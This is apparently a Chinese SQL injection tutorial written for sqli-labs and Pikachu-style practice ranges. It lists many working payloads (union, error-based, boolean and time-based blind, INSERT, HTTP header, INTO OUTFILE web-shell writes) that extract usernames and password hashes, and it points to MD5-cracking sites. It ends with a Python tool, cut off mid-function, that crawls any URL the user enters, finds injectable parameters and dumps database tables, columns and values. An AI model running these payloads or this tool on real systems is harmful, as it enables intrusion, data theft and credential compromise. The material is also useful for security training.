简介

什么是SQL注入

  • 服务器没有严格的校验客户端发送的数据,导致将用户精心构造的数据作为 SQL 语句执行,从而导致数据库信息泄露或被修改。

SQL 注入的攻击流程

  1. 确认目标网页能够根据用户输入的不同数据做出不同的反应(用户输入是有意义的)

  2. 精心构造能够导致 SQL 执行出错的语句,判断用户输入的内容是否能够成功 SQL 语句的一部分

  3. 根据报错或其他方式(作为正向去猜测)猜测 SQL 指令的有效构成部分, 闭合SQL指令

    • 通常通过 单引号 双引号 括号 对SQL指令进行闭合,并且需要使用注释截断后续的指令
    • 使用注释的时候,不能直接用 #,因为井号实际是锚点跳转,应该转义成 %23 输入
    • 由于 # 不是通用注释,我们更推荐使用 –+ 的形式进行注释,其中 + 表示的是空格
  4. 在确认目标网页存在注入漏洞并有效闭合之后,开始查询自己关心的数据库内容。

    1. 猜测目标查询语句的字段个数,使用 UNION SELECT A,B,C,… 和 ORDER BY 语句都可以
    2. 判断当前的字段有哪几个是可以被我们利用的(如果能够显示到前台就是能被利用)
    3. 精心的构造参数,遍历数据库中的数据库、表和字段等敏感信息

如何获取数据库中的敏感信息

  • 数据库基本信息的获取,version() 和 database() 分别获取版本信息和使用的数据库名

  • 遍历当前数据库下的所有数据库,以及数据库中的表和表的每一个字段

    • information_schema:用于保存当前的所有数据库敏感信息

    • information_schema.COLUMNS: 保存了表和字段的关系

      1
      2
      -- 获取当前应用的数据库中指定的每一个表的所有字段
      SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='表名' AND TABLE_SCHEMA=database();
      1
      2
      -- 实战语句:获取字段名
      ?id=-1' UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='users' AND TABLE_SCHEMA=database(); --+
    • information_schema.TABLES:保存了数据库和表的关系

      1
      2
      3
      4
      5
      -- 获取到数据库中所有的数据库名称和表的对应关系
      SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES;

      -- 实际只需要获取当前所使用的数据库下的所有表
      SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=database();
      1
      2
      -- 实战语句:获取表名
      ?id=-1' UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() --+
    • information_schema.SCHEMATA: 保存了所有的数据库的名字

      1
      2
      -- 遍历当前数据库下的所有数据库名称
      SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;
      1
      2
      -- 实战语句:获取数据库
      ?id=-1' UNION SELECT 1, SCHEMA_NAME ,3 FROM information_schema.SCHEMATA --+
  • 可以使用的函数:

    • group_concat: 可以将查询到的多条内容,拼接成一个字符串(一个字段输出所有)
    • substr:将一个字符串切割成指定的大小
    • char:将一个 ASCII 码转换成对应的字符
    • ord:将一个字符转换成相应的 ASCII 码

SQL注入的类型

  • 基于数据类型的分类

    • 整型注入: SELECT * FROM XXX WHERE id=值;
    • 字符类型: SELECT * FROM XXX WHERE id=’值’;
    • 搜索型: SELECT * FROM XXX WHERE id=(‘值’);
  • 从注入的原理划分

    • 联合查询注入:页面有返回内容,并且内容可以被利用的情况之下

    • 基于报错的注入:页面可以没有返回内容,但是存在报错信息的情况下

      • UpdateXML(字符串,满足XPATH的字符串,字符串),其中第二个字符串必须是满足格式的串,根据经验,~ 是一个绝对会报错的符号,只需要将它拼接到要查询的内容之前,就可以看到完整的信息。

        1
        2
        3
        Less-5/?id=1' and UPDATEXML('1',concat('~', (select version())),'1')--+
        -- 因为在很多时候单引号会被过滤,推荐使用 ASCII 码
        Less-5/?id=1' and UPDATEXML('',concat(0x7e, (select version())),'')--+
        1
        Less-5/?id=1' and UPDATEXML('',concat(0x7e, (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='information_schema')),'') --+
        1
        2
        -- 上面的写法有一个缺点,就是如果获取到的数据超过了32个字符,就不能获取完整内容,可以通过 substr 对查询到的内容进行拆分,分片获取所有数据
        Less-5/?id=1' and UPDATEXML('',concat(0x7e, substr((SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='information_schema'), 1, 32)),'') --+
      • extractvalue():除了缺少第三个参数,其余和 UPDATEXML 完全一致

      • 双注入:

        • rand(0): 生成一个随机的浮点数,在进行双注入的时候,一定要填 0,保证生成的数据会报错
        • floor(): 向下取整,双注入时写作 floor(rand(0)*2),表示生成有固定的 0 或者 1
        1
        SELECT count(*) FROM information_schema.TABLES GROUP BY concat(floor(rand(0)*2),'~',(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='information_schema'));
        • 双注入的原理: 基于虚拟表的键被重复添加产生的报错
        1
        Less-6/?id=1" union SELECT 1,2,count(*) FROM information_schema.TABLES GROUP BY concat(floor(rand(0)*2),'~',(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='information_schema'));--+
    • 基于文件的注入:into outfile,写小马

      • select ‘想要写入文件的内容’ into outfile “绝对地址”;
      • 缺陷,必须开启 secure_file_priv = 设置,必须知道网站本身的绝对路径(猜测中间件)。
    • 盲注:没有返回内容和报错信息,但是正确的输入和错误的输入有区别

      • 基于布尔的盲注:正确的输入和错误的输入返回不同的结果

        • 由于没有返回任何内容,只能通过比较的方式判断所有的数值

          1
          2
          3
          4
          -- 第一步,获取到字段的长度
          http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(length((select version())=6,true,false); --+
          -- 第二步,拆解每一个字段
          http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(substr((select version()),3,1)='7',true,false); --+
      • 基于时间的盲注:没有任何的信息显示,并且正确和错误的输出是一致的,需要连接稳定

        1
        2
        3
        4
        http://127.0.0.1/sqli-labs/Less-8/?id=1' and sleep(1) --+

        -- 在实际注入猜测的过程中,为假的情况较多,所以可以写作下面的形式
        http://127.0.0.1/sqli-labs/Less-8/?id=1' and if((select version()), sleep(1), 0) --+

基于PK靶场

数字型注入

1
2
1 or 1=1
1 or 1=1 #

字符型注入

1
2
3
4
5
6
7
8
9
10
源码:$query="select id,email from member where username='$name'";

kobe


方式1、kobe' or 1=1#
select id,email from member where username='kobe' or 1=1#'

方式2、kobe' or 1=1 -- 1
select id,email from member where usernam=‘kobe' or 1=1 -- 1

搜索型注入

1
2
3
4
5
6
7
8
源码:select username,id,email from member where username like '%$name%'


方式1、ko%' or 1=1#
select username,id,email from member where username like '%ko%' or 1=1#%'

方式2、ko%' or 1=1 -- 1
select username,id,email from member where username like '%ko%' or 1=1 -- 1%'

xx型注入

1
2
3
4
5
源码:select id,email from member where username=('$name')

方式1、kobe') or 1=1#
select id,email from member where username=('kobe') or 1=1#')

联合查询注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
步骤:
1. 获取当前查询语句中查询的列数
kobe' union select 1#
kobe' union select 1,2#
x' union select 1,2#
2. 获取用户名、数据库名、版本
x' union select user(),database()#
x' union select version(),database()#
3. 获取当前数据库的所有表名
x' union select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk'#

4. 获取表的列名获取数据库pk中users表的所有列名
x' union select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='pk' and TABLE_NAME='users'#

5. 获取表中的内容获取数据库pk中users表的所有内容
x' union select username,password from users#

加密的值:32位、字符混搭,可能是md5值
e10adc3949ba59abbe56e057f20f883e
e21adc405....

6.解密
https://www.somd5.com/
http://www.ttmd5.com/hash.php?type=0

基于函数报错注入

updatexml()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
1. 获取基本信息
x' and updatexml(1,version(),0)#
使用concat防止截断
x' and updatexml(1,concat(0x7e,version()),0)#
x' and updatexml(1,concat(0x7e,database()),0)#

2. 获取当前数据库的所有表名
x' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1)),0)#

修改limit可以获取依次获取所有的表名
limit 0,1
limit 1,1
...

3. 获取表的列名

x' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='pk' and TABLE_NAME='users' limit 0,1)),0)#

修改limit可以获取依次获取所有的列名
limit 0,1
limit 1,1
...

4. 获取表中的内容
select username,password from users
x' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
x' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

密码32位没有完整显示,只显示了31位:
e10adc3949ba59abbe56e057f20f883
可以获取后面10位数据
x' and updatexml(1,right(concat(0x7e,(select password from users limit 0,1)),10),0)#
f20f883e
合成:e10adc3949ba59abbe56e057f20f883e

extractvalue()

​ 语法:kobe’ and extractvalue(0,concat(0x7e,version()))#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1. 获取基本信息
x' and extractvalue(1,version(),0)#
使用concat防止截断
x' and extractvalue(0,concat(0x7e,version()))#
x' and extractvalue(1,concat(0x7e,database()))#

2. 获取当前数据库的所有表名
x' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1)))#

修改limit可以获取依次获取所有的表名
limit 0,1
limit 1,1
...

3. 获取表的列名

x' and extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='pk' and TABLE_NAME='users' limit 0,1)))#

修改limit可以获取依次获取所有的列名
limit 0,1
limit 1,1
...

4. 获取表中的内容
select username,password from users
x' and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#
x' and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

x' and extractvalue(1,right(concat(0x7e,(select password from users limit 0,1)),10))#

floor()

向下取整的函数,与rand()结合使用

rand() 生成随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x) a;

select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x

floor(rand(0)*2)) 产生随机序列 011011...
count(*)
//获取记录数量
concat(database(),floor(rand(0)*2))x
//字符串连接,重命名x
group by x
//分组

select rand(0) from users; // 有几个随机数就是有几条记录
select floor(rand(0)*2) from users; // 有3条记录,就是这样的序列011,6条就是011011

select count(*) from information_schema.tables;
select count(*),concat(0x7e,floor(rand(0)*2))x from users group by x;//有随机函数无法分组

1. 获取基本信息
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x) a )#
kobe' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x) a )#

2. 获取当前数据库的所有表名
kobe' and (select 2 from (select count(*),concat((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
kobe' and (select 2 from (select count(*),concat((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#

3. 获取表的列名
kobe' and (select 2 from (select count(*),concat((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='pk' and TABLE_NAME='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#

4. 获取表中的内容
select username,password from users

kobe' and (select 2 from (select count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#

kobe' and (select 2 from (select count(*),concat((select password from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#

e10adc3949ba59abbe56e057f20f883e

insert注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1. 获取基本信息

使用concat防止截断
kobe' or updatexml(1,concat(0x7e,version()),0) or '
kobe' or updatexml(1,concat(0x7e,database()),0) or '

2. 获取当前数据库的所有表名
kobe' or updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1)),0) or '

修改limit可以获取依次获取所有的表名
limit 0,1
limit 1,1
...

3. 获取表的列名

kobe' or updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='pk' and TABLE_NAME='users' limit 0,1)),0) or '


修改limit可以获取依次获取所有的列名
limit 0,1
limit 1,1
...

4. 获取表中的内容
select username,password from users
kobe' or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) or '
kobe' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '

http头注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GET /pk/vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 192.168.220.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.220.135/pk/vul/sqli/sqli_header/sqli_header_login.php
Connection: close
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=i7srppd2qsilpg8lpd46eppb03
Upgrade-Insecure-Requests: 1
Content-Length: 2

注入点:
Cookie: ant[uname]=admin' or updatexml(1,concat(0x7e,database()),0) or '
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' or updatexml(1,concat(0x7e,database()),0) or '
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' or updatexml(1,concat(0x7e,database()),0) or '

分析方法:
1. 使用自己手头的测试代理,对可能存在注入的点进行测试(黑盒测试)
2. 如果能获取当前网站的源码可以下载源码,本地结合源码进行测试(黑白盒混搭,灰盒测试)

盲注

基于布尔的盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
substr 查找字符串中的子串
ascii 将字符转为ascii码
right 获取字符串的右边子串
left 获取字符串的左边子串
length 求长度

select ascii('p');
select length(database())=2; 求数据库名长度并判断是否等于2
select substr(database(),1,1)='p'; 查看数据名的第一个字符并判断是否是p
select substr(database(),2,1)='k'; 查看数据名的第二个字符并判断是否是k

判断是否有盲注
kobe' and 1=1# //正常查询
kobe' and 1=2# //返回了不一样的结果

1. 获取基本信息
获取数据库名的长度
kobe' and length(database())=2#
kobe' and length(database())>1#
kobe' and length(database())<3#

获取数据库名
第一个字符
kobe' and substr(database(),1,1)='p'#
kobe' and ascii(substr(database(),1,1))=112#
第二个字符
kobe' and substr(database(),2,1)='k'#
kobe' and ascii(substr(database(),2,1))>100#
kobe' and ascii(substr(database(),2,1))>105#
kobe' and ascii(substr(database(),2,1))>110#

kobe' and ascii(substr(database(),2,1))=107#

数据库名:pk

2. 获取当前数据库的所有表名
获取第一个表
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1
获取第一个表的第一个字符
kobe' and substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1),1,1)='a'#
kobe' and substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1),1,1)='b'#

3. 获取表的列名
获取users表的列名,第一个列名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='pk' and TABLE_NAME='users' limit 0,1
获取users表的列名,第一个列名的第一个字符
kobe' and substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='pk' and TABLE_NAME='users' limit 0,1),1,1)='i'#


4. 获取表中的内容
select username from users
select password from users

查询第一个用户名的第一个字符
kobe' and substr((select username from users limit 0,1),1,1)='a'#

基于时间的盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
kobe' and sleep(5)#

1. 获取基本信息
获取数据库名的长度
kobe' and if((length(database())=2),sleep(5),null)#

获取数据名的第一个字符
kobe' and if((substr(database(),1,1)='p'),sleep(5),null)#

2. 获取当前数据库的所有表名

获取第一个表
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1
获取第一个表的第一个字符
kobe' and if(substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1),1,1)='h',sleep(5),null)#

3. 获取表的列名
获取users表的列名,第一个列名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='pk' and TABLE_NAME='users' limit 0,1
获取users表的列名,第一个列名的第一个字符
kobe' and if(substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='pk' and TABLE_NAME='users' limit 0,1),1,1)='i',sleep(5),null)#

4. 获取表中的内容

select username from users
select password from users

查询第一个用户名的第一个字符
kobe' and if(substr((select username from users limit 0,1),1,1)='a',sleep(5),null)#

Python自动化注入

注:基于lab靶场

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
import re
import requests

#构造畸形参数
injector_type = ["", "'", "')", "'))", '"', '")', '"))']
# 保存URL和闭合字符
URL_VALUE = {}

#用户输入
def userinput(flag):
if flag == 1:
print('请输入需要扫描的网址')
url = input('url:')
return url
elif flag == 2:
print('请输入指定注入的URL,直接回车,即默认选项')
url = input('url:')
if url =='':
return 1
else:
return url
elif flag == 3:
print('请输入指定的表名,直接回车默认第一个')
TableName = input('TableName:')
if TableName == '':
return 1
else:
return TableName
elif flag == 4:
print('请输入指定的字段名,直接回车全部查询')
ColumuName = input('ColumnName:')
if ColumuName == '':
return 1
else:
return ColumuName
#获取页面内所有链接
def get_urls(url):
gets = requests.get(url=url)
url_list = set()
path = re.findall(r'href="(.*?)"', gets.text)

for temp in path:
if re.search('#',temp):
continue
elif re.search('html', temp):
continue
elif re.search('php', temp):
continue
elif re.search('asp', temp):
continue
elif re.search('css', temp):
continue
elif re.search('js', temp):
continue
else:
url_list.add(url + '/' + temp)


return url_list

#判断get还是post方式传参
def Transmission_mode(url):
content = requests.get(url=url)
getOrpost = re.findall(r'(<input)', content.text)
if len(getOrpost) == 0:
return 'get'
else:
return 'post'

#判断是否存在注入点
def text_Jector_Type(url_index):
url_list = []

# 真表达式
new_url = url_index + '/' + '?id=1'
content = requests.get(url=new_url)
lenth_True = len(content.text)
for j in range(len(injector_type)):
# 假表达式
new_url = url_index + '/' + '?id=1' + injector_type[j]
content = requests.get(url=new_url)
lenth_false = len(content.text)
page404 = re.findall('(404)', content.text)
page403 = re.findall('(403)', content.text)

if len(page404)==0 and len(page403)==0:
if lenth_True != lenth_false:# 不等于说明加表达式影响了数据库查寻结果
return url_index

#注入闭合判断
def JectionClose(url):
url_true = url + "/" + "?id=1"
content = requests.get(url_true)
lenth_true = len(content.text)
#测试闭合
for index in range(len(injector_type)):
url_temp = url_true + injector_type[index] + " and 0 --+"
content = requests.get(url_temp)
lenth_test = len(content.text)
if lenth_true != lenth_test:#说明injector_type[index]可能闭合
url_temp = url_true + injector_type[index] + " and 1 --+"
content = requests.get(url_temp)
lenth_test = len(content.text)
if lenth_true == lenth_test: # 等于说明injector_type1[index]就是闭合符号
return injector_type[index]

# http://192.168.32.130/sqllib/Less-1/?id=1' and updatexml(0,concat(0x7e,(select database())),0) --+ 测试语句
#判断漏洞类型 ,基于报错(联合不考虑,因为,可以使用联合的,就能使用基于报错),基于时间盲注,布尔不考虑,只考虑通用
def GetUrlType(url, flag):
find_Language_Test = ' and updatexml(0,concat(0x7e,(select database())),0) --+'
url_true = str()
if flag == 0:

url_true = url + "/" + '?id=1'
else:
for url_Item in url:

url_true = url_Item + '/' + '?id=1'
#使用拼接好的url链接访问,该链接为真
contenttrue = requests.get(url_true)

url_false = url_Item + '/' + '?id=' + URL_VALUE[url_Item] + find_Language_Test
print(url_false,end='>>>')
contentfalse = requests.get(url_false)
databaseName = re.findall(r"'~(.*?)'", contentfalse.text)
try:
if databaseName[0] != '':
print('数据库:', databaseName[0])
return url_Item,1
except IndexError:
return url_Item,0
#基于报错的注入,表名查询
def errorJection(url):
# 查询表名
index = 0
print('表名:')
TableNameList = []
while True:
findLanguage = ' and UPDATEXML(0,concat(0x7e, (SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() limit {},1)),0) --+'
# 拼接URL
url_new = url + '/' + '?id=1' + URL_VALUE[url] + findLanguage.format(index)

content = requests.get(url_new)
TableName = re.findall(r"'~(.*?)'", content.text)
try:
if TableName[0] != '':
print('>>>', TableName[0])
TableNameList.append(TableName[0])
except IndexError:
return TableNameList
index += 1

# 基于报错查询根据表名获取字段
def errorJectionItem(url, TableName):
ColumnNameList = []
findLanguage = ' and UPDATEXML(0,concat(0x7e, (SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME="{}" limit {},1)),0) --+'
index = 0
print(TableName, ':表中字段>>>')
while True:
url_new = url + '/' + '?id=1' + URL_VALUE[url] + findLanguage.format(TableName, index)
content = requests.get(url_new)
ColumnName = re.findall(r"'~(.*?)'", content.text)
#print(url_new)
try:
if ColumnName[0] != '':
print('>>>', ColumnName[0])
ColumnNameList.append(ColumnName[0])
except IndexError:
return ColumnNameList
index += 1

# 基于报错查询,更具字段名查询,字段下的值
def errorJectionValue(url, ColumnName, TableName, flag):
#select group_concat({},{},0x3a,{}) from {}' 'select group_concat(username,0x3a,password) from users'
if flag:
for index in range(len(ColumnName)):
for Column in ColumnName:
findLanguage = ' and UPDATEXML(0,(SELECT concat(0x7e, {}) from {} limit {},1),0) --+'
url_new = url + '/' + '?id=1' + URL_VALUE[url] + findLanguage.format(Column, TableName, index)
content = requests.get(url_new)
Value = re.findall(r"'~(.*?)'", content.text)
print('>>>',Value,end='---')
print()
else:
for index in range(len(ColumnName)):
for Column in ColumnName:
findLanguage = ' and UPDATEXML(0,(SELECT concat(0x7e, {}) from {} limit {},1),0) --+'
url_new = url + '/' + '?id=1' + URL_VALUE[url] + findLanguage.format(Column, TableName, index)
content = requests.get(url_new)
Value = re.findall(r"'~(.*?)'", content.text)
print('>>>', Value, end='---')
print()

#盲注,获取数据库
def blindjection(url):
print('基于时间的盲注', url)
timefinddatabaseLen = ' and if(length(database())={},sleep(2),1) --+'
timefinddatabasechar = ' and if(ascii(substr(database(),{},1))={},sleep(2),1) --+'
for index in range(1, 50): # 数据库名长度50顶天了
new_url = url + '/' + '?id=1' + URL_VALUE[url] + timefinddatabaseLen.format(index)
content = requests.get(new_url)
databasename = str()
#if (content.elapsed.total_seconds() - 2 ) < 0.1 and (content.elapsed.total_seconds() - 2 > 0 ) or (0.1 > (2 - content.elapsed.total_seconds()) and 2 - content.elapsed.total_seconds() > 0):
if (content.elapsed.total_seconds() > 1) :
print()
print('数据库名长度为:',index)
print(new_url)
# 0x41-0x5A(65-90) 0x61-0x7A(97-122)
i = 1
while i <= index:
for c in range(97,123,1):

new_url = url + '/' + '?id=1' + URL_VALUE[url] + timefinddatabasechar.format(i, c)

content = requests.get(new_url)
if (content.elapsed.total_seconds() > 1):
databasename +=chr(c)
print(new_url + '-->' +databasename)
break
# length = len(new_url)
# print("{\b * length}", new_url)

i += 1
return databasename
break

# 盲注,获取表名
def blindjectionTable(url):
timefindlength = ' and if(length((select table_name from information_schema.TABLES where table_schema=database() limit {},1))={},sleep(2),1) --+'
timefindchar = ' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1), {}, 1))={}, sleep(3), 1) --+'
# 存储每个表的长度
TableNamelen = []
TableName = []
flagReturn = False
index = 0
while True:
index1 = 0
while True:
url_new = url + '/' + '?id=1' + URL_VALUE[url] + timefindlength.format(index,index1)
content = requests.get(url_new)
if (content.elapsed.total_seconds() > 1):
TableNamelen.append(index1)
print('第', index, '个表名长度为', index1,end='-->')
index += 1
break
if index1 <= 40:
index1 += 1
else:
flagReturn = True
break
if flagReturn:
break
print()
for TableNum in range(len(TableNamelen)):
temp = str()
for table in range(TableNamelen[TableNum]+1):
for value in range(97,123):
url_new = url + '/' + '?id=1' + URL_VALUE[url] + timefindchar.format(TableNum, table, value)
content = requests.get(url_new)
if (content.elapsed.total_seconds() > 1):
temp += chr(value)
print(url_new,temp)
TableName.append(temp)
return TableName

# 盲注,获取字段名
def blindjectionColumn(url, TableName): #表名 第{}个字段 长度
timefindlength = ' and if(length((select column_name from information_schema.COLUMNS where table_name="{}" limit {},1))={},sleep(2),1) --+'
timefindchar = ' and if(ascii(substr((select column_name from information_schema.COLUMNS where table_name="{}" limit {},1), {}, 1))={}, sleep(3), 1) --+'
ColumnNameLen = []
ColumnName = []
flagReturn = False
index = 0
while True:
index1 = 0
while True:
url_new = url + '/' + '?id=1' + URL_VALUE[url] + timefindlength.format(TableName, index,index1)
content = requests.get(url_new)
if (content.elapsed.total_seconds() > 1):
ColumnNameLen.append(index1)
print('第', index, '个字段长度为', index1,end='-->')
index += 1
break
if index1 <= 40:
index1 += 1
else:
flagReturn = True
break
if flagReturn:
break
print()
for ColumnNum in range(len(ColumnNameLen)):
temp = str()
for table in range(ColumnNameLen[ColumnNum] + 1):
for value in range(97, 123):
url_new = url + '/' + '?id=1' + URL_VALUE[url] + timefindchar.format( TableName, ColumnNum, table, value)
content = requests.get(url_new)
if (content.elapsed.total_seconds() > 1):
temp += chr(value)
print(url_new, temp)
ColumnName.append(temp)
return ColumnName


# 盲注,获取值
def blindjectionValue(url, ColumnName, TableName, flag):#flag标记第二个参数是否是一个列表
if flag:
for index in range(len(ColumnName)):
for Column in ColumnName:
findValueLen = ' and if(length((select id from {} limit {},1))={},sleep(2),1) --+'
url_new = url + '/' + '?id=1' + URL_VALUE[url] + findValueLen.format(Column, TableName, index)
content = requests.get(url_new)
Value = re.findall(r"'~(.*?)'", content.text)
print('>>>', Value, end='---')
print()
else:
for index in range(len(ColumnName)):
for Column in ColumnName:
findLanguage = ' and UPDATEXML(0,(SELECT concat(0x7e, {}) from {} limit {},1),0) --+'
url_new = url + '/' + '?id=1' + URL_VALUE[url] + findLanguage.format(Column, TableName, index)
content = requests.get(url_new)
Value = re.findall(r"'~(.*?)'", content.text)
print('>>>', Value, end='---')
print()

#主要的逻辑调用
def main():

# 保存URL
URL_LIST = []


# 扫描部分
#用户输入链接
url = userinput(1)
#返回的url需要做一个检测,检测是否有效


print('正在扫描并获取站内链接')
#根据用户输入的url,获取站内的url
url_list = get_urls(url)
# 输出所有获取到的url
for url_Item in url_list:
#print(url_Item)
if Transmission_mode(url_Item) == 'get':
# 判断Get传参方式的url是否存在sql注入
true_url = text_Jector_Type(url_Item)
try:
char = JectionClose(true_url)#注入闭合检测,返回闭合字符
print(true_url, '存在SQL注入', '闭合方式', '?id=1'+ char)
URL_VALUE[true_url] = char #保存键值对
URL_LIST.append(true_url) #保存URL
except TypeError:
print(true_url, '存在SQL注入,但无法获得闭合方式')
else:
print(url_Item, '暂时无法处理post方式查询')

# 注入部分
url = userinput(2)#让用户指定注入的URL
if url == 1:#如果用户不指定
value,flag = GetUrlType(URL_LIST, 1)#获取注入类型,返回URL
if flag != 0: #为0则执行盲注
TableNameList = errorJection(value)#返回表名
TableName = userinput(3)#请用户输入指定表名,默认表名为第一个
if TableName == 1:
ColumnNameList = errorJectionItem(value, TableNameList[0])#根据表名返回字段名
ColumnName = userinput(4)
if ColumnName == 1:
errorJectionValue(value, ColumnNameList, TableNameList[0], True)#标记传入的是否时列表
else:
errorJectionValue(value, ColumnName, TableName, False)
else:#如果用户指定了表名
ColumnNameList = errorJectionItem(value, TableName)
errorJectionValue(value, ColumnNameList, TableName, False) # 标记传入的是否时列表
else:
#需要使用盲注
Database = blindjection(value)
TableNameList = blindjectionTable(url)
print(Database, '数据库中的表名:', TableNameList)
TableName = userinput(3)
if TableName == 1: #
